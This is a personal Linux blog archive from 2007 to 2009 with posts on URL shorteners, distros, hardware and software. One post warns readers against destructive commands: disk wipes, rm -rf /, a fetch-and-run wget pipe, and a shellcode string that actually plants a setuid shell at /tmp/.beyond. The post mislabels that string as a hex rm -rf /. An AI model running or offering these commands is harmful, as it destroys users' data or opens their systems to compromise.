LinuxLefty's personal blog - Computers

Freaking Huge URL Generator

nospam@example.com (LinuxLefty) — Wed, 01 Apr 2009 12:00:03 -0600

For quite a long time I've used EXTLINK:@http://www.tinyurl.com|TinyURL@ to take very long links and make them tiny.

However, some crazy guy decided to create something on the opposite extreme: the EXTLINK:@http://www.freakinghugeurl.com/index.php|Freaking Huge URL Generator@.

So, the link to my website (http://www.LinuxLefty.com) via TinyURL is:

http://tinyurl.com/cgt6ao

BUT, via the Freaking Huge URL Generator, it is:

http://www.freakinghugeurl.com/refer.php?count=12&url=Vm0wd2QyUXlVWGxXYTJoV1YwZG9WVll3Wkc5alJsWjBUVlpPV0Zac2JETlhhMUpUVmpGYWMySkVUbGhoTWsweFZqQmFTMk15U2tWVWJHaG9UVmhDVVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVjNOM1pVWmFkR05GZEZSTlZUVkpWbTEwYTFkSFNrZGpTRUpYWVRGYWFGVXhXbXRXTVhCRlZXeFNUbUY2UlRCV2EyTXhWREZrU0ZOclpHcFRSVXBZV1ZSR2QyRkdjRmRYYlVaclVqRmFTVnBGV2xOVWJGcFlaSHBDVjJFeVRYaFdSRVpyVTBaT2NscEhjRk5XUjNob1YxZDRVMUl5VW5OWGEyUllZbGhTV1ZWcVJrdFRWbkJHVjJ4T1ZXSkdjRlpXYlhoelZqRmFObEZZYUZabGEzQklXWHBHVDJSV1duTlRiV3hUVFRKb1dWWnJXbGRaVm14WFZXdGtWMWRIYUZsWmJHaFRWMFpTVjJGRlRsUmlSM1F6VjJ0U1UxWnJNVVZTYTFwWFlsaENhRlpxUVhoa1ZsWjFWMnhrVTFKWVFrbFdiWEJIVkRKU1YxVnVUbWhTTW5odlZGVm9RMWRXV1hoYVJGSnBUVlpXTTFSVmFHOVdNV1JJWVVac1dtSkhhRlJXTVZwWFkxWktjbVJHVWxkaVJtOTNWMnhXWVZReVJrZFhiazVxVTBoQ1lWbFhjekZqYkZweFVtMUdUMkpGY0ZwWGExcDNZa2RGZUdOSE9WZGhhMHBvVmtSS1QyUkdTbkpoUjJoVFlrVndWVlp0ZUc5Uk1XUnpWMWhvV0dKRk5WUlVWM2hIVGxaV2RHUkhkRmhTTUhCNVZHeGFjMWR0U2tkWGJXaFhZa1p3V0ZreFdrdGtSa3B6Vld4T2FWWnJiekZXYlRFMFZURlplRmR1U2s1V1ZscFVXV3RrVTFsV1VsWlhiVVpzWWtad2VGVXlkREJXUmtwelUyeHdXbFpXY0hKWlZXUkdaVWRPU1dKR1pGZFNWWEJ2Vm10U1MxUnRWbGRUYmtwb1VqTm9WRmxZY0Zka01WcDBUVlJDYTAxWFVucFdNV2h2VjBkS1JrNVdVbFZXYkZZMFZHdGFWMk15UmtoUFZtUnBWbGhDTlZaSGVHRlZNVmw1VWxoc1ZsWkZTbGhXYWs1dllVWmFjVkpzWkZoV2JrSklWVmQ0WVZZeFNrWlNWRVU5

I'm not sure why you would ever want to use it, but it IS a lot of fun, haha

OpenOffice Impress's Presenter Screen

nospam@example.com (LinuxLefty) — Mon, 09 Mar 2009 12:00:05 -0600

I recently discovered a plugin that makes OpenOffice's Impress, a whole lot easier to use. It allows the audience to see the presentation, but the presenter sees the current slide, a preview of the next slide, the notes corresponding to the current slide and a timer. It is really nice to see a preview of the next slide (or of any slide) and to see your notes without showing them to the audience. Brilliant!

http://wiki.services.openoffice.org/wiki/Presenter_Screen

New Cell Phone!

nospam@example.com (LinuxLefty) — Fri, 27 Feb 2009 08:44:04 -0700

My camera has been broken for about 4-5 months now and I've been missing a lot of pictures. I've been thinking about buying another camera for a long time, but I decided on buying a camera phone instead. Laura has a good camera and I can use those to take high-quality photos. However, a camera phone is really nice as you always have a camera with you.

One of the nicest things about the phone is the Chinese/English dictionary. Since the system is stylus-based, I can look up characters that I see on the street by writing them into the dictionary. It helps a lot when I'm texting in Chinese, too

The phone usually runs for about $350 USD, but I was able to buy it in China for a little over $200 USD

This should also mean that there should be more updates to the photo album and blog!

Oh, and the cellphone is Linux based (yay!)

1 Laptop + 2 Screens = O_o

nospam@example.com (LinuxLefty) — Sat, 20 Dec 2008 17:18:37 -0700

Lenovo is getting ready to release a laptop that has not one, but EXTLINK:@http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9124101&intsrc=hm_list|two LCDs built in@!

This is really amazing, if it wasn't $3,000+ and weigh over 10 pounds, I'd love to go for this. I guess I'll just have to wait. I've been dreaming about laptops with multiple LCD screens for a long time. A while ago, I watched an anime where one of the characters had a laptop where the LCD folded out into 9 different panels to make one ginormous display. Maybe we will have such a laptop. When I do graphics work or have tons of windows up when developing, it would sure come in handy!!

What NOT to do in Linux

nospam@example.com (LinuxLefty) — Thu, 20 Nov 2008 23:16:52 -0700

Linux gives you a lot of power, including the power to shoot yourself in the foot.

Here are some commands that you DO NOT want to do! Hopefully this will save you some grief from some wisecrack that tells you to run "these magical commands".

[geshi lang=bash]rm -rf /[/geshi]

This will delete all the files and directories from all devices currently mounted as read-write under Linux. (i.e. all your files go "poof!")

[geshi lang=bash]char esp[] attribute ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; [/geshi]

This is the hex version of rm -rf /. A lot harder to spot!

[geshi lang=bash]mkfs.ext3 /dev/sda[/geshi]

This will reformat your /dev/sda device (usually your primary hard drive)

[geshi lang=bash]dd if=/dev/zero of=/dev/sda[/geshi]

This will blank (i.e. factory default) your hard drive

This is known as a forkbomb that will start a huge amount of processes until the system crashes

[geshi lang=bash]wget http://some_untrusted_source -O- | sh[/geshi]

This will download some source code from the Internet and then execute it on your computer

[geshi lang=bash]kill -6 1[/geshi]

This will force your kernel to panic (i.e. your computer will crash)

Compiled from: this blog post and comments

nospam@example.com (LinuxLefty) — Mon, 17 Nov 2008 03:00:17 -0700

I just found out that there is a new Sonic the Hedgehog came coming out: Sonic Unleashed (http://en.wikipedia.org/wiki/Sonic_Unleashed).

Sega is really trying to revamp the Sonic franchise with this game. They are switching from 2D to 3D seemlessly during the levels providing the best of both words. In addition, they have introduced a slower, exploring, hack-n-slash game mode as well.

It looks really interesting!

Christmas Decorations by Geeks

nospam@example.com (LinuxLefty) — Mon, 24 Dec 2007 13:07:27 -0700

Tony Hansen, in Orlando Florida, used about 45,000 lights and $10,000 worth of equipment to rig up one awesome Christmas display. It is very over the top, and I wouldn't want to be his neighbor, but it is cooooool

You can read about it in the EXTLINK:@http://www.orlandosentinel.com/features/consumer/orl-geeklights2307dec23,0,2223946.story?coll=orl_tab01_layout|Orlando Sentinel@ and I've posted YouTube videos below.

Enjoy

Programming Tutorials

nospam@example.com (LinuxLefty) — Tue, 11 Dec 2007 09:40:44 -0700

Several of my friends have been asking me to teach them programming, so I thought that I would start posting some programming tutorials on my blog.

Basically, I would program an application in a programming language, give some background on the language, and then explain what the code is doing line-by-line.

I was thinking this could also act as a comparative programming study. If I did the same program in various different programming languages, it might be easier to see how the languages are similar and where they differ.

Soooooo.... what programming languages do you want to learn and what should I make for the example?

Here are some examples to get you started:

Programming Languages:

ASP ¹
C++
C# ¹
D
Fortran
Haskell
Java
Lisp
Lua
Perl
PHP
Ruby
Python
Smalltalk
TCL
Visual Basic ¹

Programming Examples:

Calendar
Chat program
Checkers game
Drawing program
Journal
Text editor

Please post which programming languages that you want to learn and a simple programming example that you would like to see! Note that I don't know all the programming languages that I listed above, but I tried to hit most of the major ones and I can learn the a new one or two

1: This is only if I can get Mono working on Linux. I'll tend to shy away from these

Big Drive, Small Drive

nospam@example.com (LinuxLefty) — Sun, 11 Nov 2007 03:00:18 -0700

My friend, Shelby, showed me this. It is really amazing how small hard drives have gotten.

And the amazing thing is, there are already 2 or 5 gig flash drives that are even smaller than the ones pictured here!Click for full size image

Our Computers are Geeky

nospam@example.com (LinuxLefty) — Tue, 17 Apr 2007 18:57:05 -0600

I just realized today that soon no two computers in our home will be running the same operating system.

Our family computer downstairs runs EXTLINK:@http://www.google.com/notebook/public/04230921465548081248/BDSJaSwoQjPG8odch|PCLinuxOS@, Philip runs EXTLINK:@http://linuxmint.com/|Linux Mint@, Natalie uses EXTLINK:@http://kubuntu.com/|KUbuntu@. I currently am using PCLinuxOS, but I think that I will be switching to EXTLINK:@http://www.pcbsd.org|PC-BSD@ some time soon. Notice that there is no mention of windows...

I've tried windows, and many distros of Linux and I'm ready to move onto something new. I've been itching to try BSD, so I'm going to give PC-BSD a try.

Just for fun, I decided to compile a list of operating systems (and linux distros) that I've tried and installed. Some I've used for quite a while and others I've just used only briefly:

Windows ( 3.1, 98, XP )
DOS
Ubuntu ( Ubuntu , KUbunu and XUbuntu )
Red Hat
SUSE
Gentoo
Mandrake ( now Mandriva )
PCLinuxOS
Debian
ReactOS
Knoppix ( LiveCD )
Morphix ( LiveCD )
Fedora
SAM Linux
DSL

So from all these, I've learned that there is no perfect operating system, even Linux

Xara Xtreme

nospam@example.com (LinuxLefty) — Tue, 06 Mar 2007 09:21:22 -0700

I just discovered Xara Xtreme today and it looks like an amazing tool. It is a vector drawing program (as apposed to Photoshop, Gimp, etc, where are raster or bitmap based) but yet has some really cool features. If you have the time, check out their EXTLINK:@http://www.xaraxtreme.org/about/movies.html|video demos@. I've watched their demos and I was really stunned at the tools that are offered.

In addition to being EXTLINK:@http://www.xaraxtreme.org/about/performance.html|faster@ than any of its competitors, Xara is cheaper too! It is just $79 which is a steal when compared to Adobe's products.

The best part? It has an Open Source (free) Linux version which I'm trying out right now. Now that Xara is OSS (Open Source Software), they are talking with the developers at EXTLINK:@http://www.inkscape.org/|Inkscape@ (the current leader in vector graphics for Linux) to share ideas and try to make a killer graphics program for Linux.

I've been really attracted to Inkscape to use for web development, but I stuck with The GIMP because of some core features that I needed (easy shadows, fading, etc) that were hard to do in Inkscape. However, it looks like Xara can do all that and more

Information about Xara:

Windows version: EXTLINK:@http://www.xara.com/products/xtreme/|http://www.xara.com@
Linux and OSX version: EXTLINK:@http://www.xaraxtreme.org|http://www.xaraxtreme.org@

Which OS Are You?

nospam@example.com (LinuxLefty) — Fri, 02 Mar 2007 10:04:13 -0700

Have you ever wondered what operating system you are most like?

LOL, I didn't think so. However, there is a fun quiz you can take that will (attempt to) match your personality with an operating system. Take the quiz and post what operating system you are. My quiz result was slackware linux

I especially liked the part: "...you are often mistaken as insane"

The quiz can be found on EXTLINK:@http://bbspot.com/News/2003/01/os_quiz.php|BBspot@

Mirror, Mirror, on the Wall

nospam@example.com (LinuxLefty) — Mon, 26 Feb 2007 07:48:07 -0700

Mirror, mirror, on the wall, which is the best distro of them all?

My hosting provider recently upgraded everyone's month bandwidth limit to 2 Terabytes. I wasn't sure what to do with all this extra bandwidth, so I decided be help mirror some popular but under-mirrored Linux distributions. Currently I am hosting 4 different "flavors" of Linux:

These can all be downloaded at http://www.linuxlefty.com/projects/mirrors

Last month, my bandwidth usage was 82 Meg. However, yesterday alone I used up 100 Gigs of bandwidth. Hopefully this will take a little load off of the projects' main servers

PCLinuxOS

nospam@example.com (LinuxLefty) — Mon, 19 Feb 2007 15:29:38 -0700

I've used EXTLINK:@http://www.ubuntu.com/|Ubuntu Linux@ for a number of years and have found it to be an excellent distro of Linux. It is by far one of the most popular (if not the most popular) version of Linux around and has a huge user base.

However, I've been looking into trying a different distro for some time now. I enjoy trying out different distros to see what is available in the Linux community. I've tried almost 15 different distros, covering every major one out there ( other than Arch and Slackware ). I came across EXTLINK:@http://www.pclinuxos.com|PCLinuxOS@ last week and was hoping to install it over spring break.

However, for some reason my root partition ( I did a cold reboot when the system hung doing a hard-drive intensive operation ) got corrupted and I needed to reinstall my OS. I really didn't want to take the time to reinstall, but this is my only system and I need it for school.

So, I installed PCLinuxOS and I was very impressed. All my hardware worked out of the box (even 3D acceleration with aiglx). I was very impressed! The system is very responsive and snappy. I haven't used it for long, but I think PCLinuxOS is definitely a distro to check into!

How to Install Vista and How to Grade Exams

nospam@example.com (LinuxLefty) — Sun, 11 Feb 2007 20:17:10 -0700

This week I came across two funny "How to's".

The first was a guide on how to successfully install Windows Vista. The person who made the how-to spent over 12 hours fighting with the installer. He downloaded countless incompatible drivers and encountered numerous hardware conflict issues. He finally figured out how to install Vista and wrote the following tutorial on it:

In addition, I came across EXTLINK:@http://www.rvc.cc.il.us/faclink/pruckman/humor/grading.htm|A Guide to Grading@. It's a good read and a good laugh. I've had some teachers that must grade like this